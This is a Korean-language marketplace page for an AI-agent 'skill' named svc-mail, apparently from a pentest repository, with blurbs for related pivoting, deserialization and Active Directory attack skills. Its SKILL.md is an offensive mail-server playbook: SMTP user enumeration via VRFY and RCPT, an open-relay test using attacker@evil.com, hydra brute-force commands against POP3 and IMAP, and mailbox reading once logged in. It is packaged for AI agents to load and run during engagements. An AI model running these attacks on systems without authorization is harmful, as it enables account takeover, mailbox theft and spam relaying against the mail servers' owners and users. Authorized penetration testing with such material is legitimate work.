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Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY.
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/s0ld13rr/pentestcode --skill svc-mail명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | svc-mail |
| description | Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY. |
# Banner grab and commands
nc -nv <target> 25
nmap --script smtp-commands,smtp-enum-users,smtp-open-relay -p 25 <target>
# User enumeration via VRFY
telnet <target> 25
VRFY root
VRFY admin
VRFY <username>
# User enumeration via RCPT TO
EHLO test
MAIL FROM:<test@test.com>
RCPT TO:<admin@<domain>> # 250 = exists, 550 = doesn't
# Automated user enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t <target>
smtp-user-enum -M RCPT -U users.txt -D <domain> -t <target>
# Test relay
telnet <target> 25
EHLO test
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: Relay Test
Relay test body
.
QUIT
# Nmap check
nmap --script smtp-open-relay -p 25 <target>
# Banner grab
nc -nv <target> 110
nc -nv <target> 143
# POP3 brute force
hydra -l <user> -P wordlist.txt pop3://<target>
# IMAP brute force
hydra -l <user> -P wordlist.txt imap://<target>
# If authenticated (POP3)
USER <username>
PASS <password>
LIST
RETR 1
# If authenticated (IMAP)
a1 LOGIN <user> <password>
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
/owa/, /ecp/ — brute force, spray/squirrelmail/ — old versions have RCE